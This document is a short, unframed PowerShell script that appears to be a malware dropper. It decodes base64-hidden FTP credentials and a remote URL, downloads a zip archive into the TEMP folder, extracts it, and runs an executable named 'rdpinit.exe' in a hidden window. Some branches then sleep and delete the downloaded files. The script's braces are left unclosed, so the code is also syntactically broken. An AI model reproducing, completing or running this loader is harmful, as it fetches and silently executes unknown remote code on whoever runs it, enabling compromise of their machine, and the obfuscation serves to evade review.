$u = New-Object System.Net.WebClient
$u.Credentials = New-Object System.Net.NetworkCredential([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("QXN0cm9WaXNpb24=")), [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("VmUhMG1oMTY=")))
$g = "$env:TEMP\\ezip"
$r = "$env:TEMP\\a1ao.zip"
$o = "rdpinit.exe"
$n = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("ZnRwOi8vc2hhaWxlc2h2aXNpb25hcnlhc3Ryb2xvZ2VyLmNvbS9TY3JpcHRzL0p1bmN0aW9uLnppcA=="))
$u.DownloadFile($n, $r)
if (-Not (Test-Path -Path $g)) {
New-Item -ItemType Directory -Path $g | Out-Null
Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::ExtractToDirectory($r, $g)
$p = Join-Path -Path $g -ChildPath $o
if (Test-Path -Path $p) {
Start-Process -FilePath $p -WindowStyle Hidden
} else {
Write-Error ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("RXhlY3V0YWJsZSBub3QgZm91bmQgaW4gZXh0cmFjdGVkIGZvbGRlci4=")))
Start-Sleep -Seconds 700
Remove-Item -Path $r -Force
Remove-Item -Path $g -Recurse -Force